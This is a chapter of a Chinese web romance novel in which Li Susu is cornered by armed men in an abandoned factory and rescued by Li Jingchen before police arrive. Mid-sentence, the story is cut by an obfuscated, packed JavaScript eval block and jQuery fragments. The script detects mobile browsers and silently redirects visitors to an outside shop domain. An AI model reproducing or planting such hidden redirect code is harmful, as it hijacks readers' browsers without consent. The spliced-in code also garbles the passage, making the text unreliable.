李苏苏看着那个“好”字，眼眶忽然红了。
她深吸一口气，换上衣服，出了门。
她没有带保镖。
因为她知道，带着保镖去，厉景川不会露面。
她必须一个人去。
---
城西废弃工厂。
这里曾经是一个纺织厂，倒闭后一直荒废着，厂房破败，杂草丛生，空气中弥漫着一股潮湿的霉味。
李苏苏到的时候，天已经快黑了。
夕阳的余晖照在破败的厂房上，将这里映照得像一座鬼城。
她按照电话里的指示，走进了最大的一栋厂房。
厂房里很暗，只有几扇破窗透进来的光。地上散落着破碎的玻璃和生锈的零件，空气中弥漫着铁锈和灰尘的味道。
“我来了，”李苏苏的声音在空旷的厂房里回荡，“你们出来。”
没有人回应。
但脚步声从黑暗中传来。
一个男人从暗处走了出来。
不是厉景川。
是一个李苏苏不认识的男人，三十多岁，中等身材，穿着一件黑色的夹克，脸上有一道从眉骨延伸到下巴的疤痕，让他的整张脸看起来狰狞而恐怖。
“你就是李苏苏？”男人问，声音和电话里一样，低沉沙哑。
“我就是。厉景川呢？”
“厉总不在这里，”男人笑了笑，那个笑容让他脸上的疤痕扭曲得更厉害了，“他让我来跟你谈。”
“谈什么？”
“谈条件。”
“什么条件？”
男人从口袋里拿出一部手机，打开了一段录音。
录音里是厉景川的声音：“李小姐，我知道你在帮景琛。我也知道你是个聪明人。所以我给你一个选择——离开景琛，永远不要再出现在他面前。作为交换，我会放过你，也放过他。”
李苏苏听完录音，笑了。
“你觉得我会信？”
“你信不信不重要，”男人说，“重要的是，如果你不答应，今天你们两个都走不出这里。”
话音刚落，厂房里响起了更多的脚步声。
从四面八方，走出了七八个男人，每个人都穿着黑色衣服，手里拿着武器——有电棍，有铁管，甚至有人手里拿着一把闪着寒光的刀。
李苏苏被围在了中间。
她的心跳很快，但她的表情很平静。
“系统，”她在心里说，“帮我报警。”
“你确定？报警的话，厉景川可能会提前动手。”
“他不会，因为他想让厉景琛亲眼看到我死。在他来之前，我不会有危险。”
系统助手沉默了一秒，然后说：“已经帮你报了警。定位已发送。”
李苏苏松了一口气。
现在她要做的，就是拖时间。
拖到警察来。
拖到厉景琛来。
拖到——她也不知道什么时候。
“我考虑一下，”李苏苏对那个刀疤男说，“你们给我点时间。”
男人看着她，眼神阴鸷：“你在拖时间？”
“没有，我是真的在考虑。”
“考虑什么？”
“考虑要不要离开厉景琛。”
男人冷笑了一声：“不用考虑了。厉总的意思是，你今天必须答应，不答应就别想走。”
“那我答应呢？”
“答应就放你走。”
“就这么简单？”
“就这么简单。”
李苏苏看着他的眼睛，那里面有贪婪，有残忍，还有一种看猎物挣扎的快感。
她知道，不管她答不答应，他们都不会放过她。
因为厉景川要的，从来不是她离开厉景琛。
他要的，是厉景琛痛苦。
而让她死在厉景琛面前，是让厉景琛最痛苦的方式。
“我不答应，”李苏苏说，“你们动手吧。”
刀疤男的表情微微变了，似乎没想到她会这么干脆。
“你不怕死？”
“怕，”李苏苏诚实地说，“但我更怕厉景琛难过。”
刀疤男沉默了两秒，然后挥了挥手。
那七八个男人开始向她逼近。
李苏苏闭上了眼睛。
“系统，我要是死了，还能回地府吗？”
“能。但你在这个世界的任务就失败了。”
“失败了会怎样？”
“扣功德，可能还会受罚。”
李苏苏叹了口气。
她努力了这么久，好不容易让厉景琛开始喜欢她了，结果就要功亏一篑了。
她不甘心。
但她不后悔。
因为她做的一切，都是她心甘情愿的。
就在第一个人即将碰到她的那一刻——
“砰！”
一声巨响，厂房的大门被撞开了。
一辆黑色的SUV直接冲了进来，灯光刺眼，将那七八个男人照得睁不开眼。
车子在离李苏苏几米远的地方急刹停下，车门打开，一个高大的身影从车上跳了下来。
是厉景琛。
他穿着白天的西装，领带已经歪了，头发凌乱，眼睛里布满了血丝，整个人像一头被激怒的豹子，浑身上下散发着危险的气息。
他的手里，拿着一把——枪。
“都别动。”他的声音不大，但在空旷的厂房里回荡着，带着一种让人不寒而栗的冷意。
刀疤男和他手下的人都愣住了。
他们没想到厉景琛会来。
更没想到他会带着枪来。
“厉景琛……”李苏苏看着他的脸，眼泪忽然就掉了下来。
她不是害怕。
她是心疼。
因为他看她的眼神里，有恐惧。
不是对自己的恐惧，而是对她的。
他在害怕失去她。
“过来。”厉景琛对她说，声音有些发紧。
李苏苏没有犹豫，跑向了他。
她跑到他面前的时候，他一把将她拉到了身后，用自己的身体挡住了她。
“你怎么来的？”李苏苏在他身后问，声音还在发抖。
“你那条消息，”厉景琛的声音很低，“你说你去看你妈，但你妈昨天给我打电话，说她这周都不在厉城。”
李苏苏愣了一下。
她忘了这茬。
“所以你知道我在撒谎？”
“对。”
“那你怎么知道我在这里？”
“你的手机有定位，我跟安保公司要了权限。”
李苏苏心里一暖。
这个男人，虽然从来不说好听的话，但他做的每一件事，都在告诉她——他在乎她。
“厉景琛，他们有七八个人，你一个人打不过的。”李苏苏小声说。
“我知道。”
“那你还来？”
“你在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609470|205881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这里。”
短短四个字，让李苏苏的眼泪掉得更凶了。
刀疤男看着他们，冷笑了一声：“厉总，你一个人带把枪就来救人？你枪里能有几发子弹？”
厉景琛没有回答，但他的手指扣在扳机上，稳稳的，没有一丝颤抖。
“我劝你们最好别动，”他说，“我枪法还不错。”
刀疤男挥了挥手，那七八个男人没有后退，反而又往前逼近了几步。
“你再厉害，也就几发子弹。我们这么多人，你打不完的。”
厉景琛没有说话，但他的眼神越来越冷。
就在对峙的这一刻，远处传来了警笛声。
越来越近，越来越响。
刀疤男的表情终于变了。
“你报警了？”他看向李苏苏。
李苏苏从厉景琛身后探出头来：“对，我报警了。你以为我真的会一个人来送死？”
刀疤男咬了咬牙，转身就跑。
他手下的人也跟着他四散奔逃。
厂房后面有出口，他们显然早就踩过点，知道从哪跑。
警察到的时候，只抓住了两个跑得慢的。
刀疤男和其余人都跑了。
但李苏苏不在乎。
她在乎的，是厉景琛还活着。
她活着，他也活着。
---
警车来了，救护车也来了。
李苏苏被医护人员带去做检查，厉景琛陪在她身边，一直握着她的手，没有松开。
“你受伤了吗？”他问，声音还是很紧。
“没有，”李苏苏摇头，“他们还没来得及动手，你就来了。”
“如果我来晚了呢？”
“不会的。”
“你怎么知道不会？”
“因为你是厉景琛，”李苏苏看着他，眼睛红红的，“你永远不会让我失望。”
厉景琛看着她，忽然用力把她拉进怀里，紧紧地抱住了她。
他的下巴抵在她的头顶，双臂收得很紧，像是要把她揉进自己的身体里。
李苏苏埋在他的胸口，听着他急促的心跳声，眼泪又掉了下来。
“厉景琛，你抱得太紧了，我喘不过气了。”
厉景琛没有松手。
“别说话，”他的声音有些发哑，“让我抱一会儿。”
李苏苏乖乖地不说话了。
她靠在他怀里，感受着他的体温，听着他的心跳，觉得这一刻，所有的一切都是值得的。
救护车里的灯光昏黄而温暖，将他们两个人的影子投射在白色的车壁上，交叠在一起，分不开。
不知道过了多久，厉景琛终于松开了她。
他低下头，看着她的脸。
她的眼睛红红的，鼻尖红红的，嘴唇因为哭过而微微发肿，整个人看起来可怜兮兮的。
“李苏苏。”
“嗯？”
“以后不准再一个人冒险。”
“好。”
“不管发生什么事，都要先告诉我。”
“好。”
“不准再让我担心。”
“……好。”
厉景琛看着她乖巧的样子，伸手轻轻揉了揉她的头发，动作比之前任何一次都要温柔。
“你这个人，”他说，声音很轻，“真的很烦。”
李苏苏笑了，笑得眼睛弯弯的，像月牙一样。
“但你不讨厌我烦你，对不对？”